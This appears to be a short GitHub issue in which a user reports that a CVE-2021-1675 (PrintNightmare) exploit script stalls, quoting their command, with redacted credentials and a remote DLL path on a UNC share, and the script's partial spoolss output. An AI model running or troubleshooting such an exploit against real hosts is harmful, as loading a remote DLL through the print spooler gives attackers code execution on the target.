Hello,
I am having the same issue as #29, but I did not find an answer on the original issue.

Here is my entry:
python3 CVE-2021-1675.py xxx/xxx:xxx@xx.xx.xx.xx ‘\xx.xx.xx.xx\data\mydll.dll’

And here is my output:
[] Connecting to ncacn_np:xx.xx.xx.xx[\PIPE\spoolss]

[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_dcef07064d319714\Amd64\UNIDRV.DLL

Can you please help me on that ?
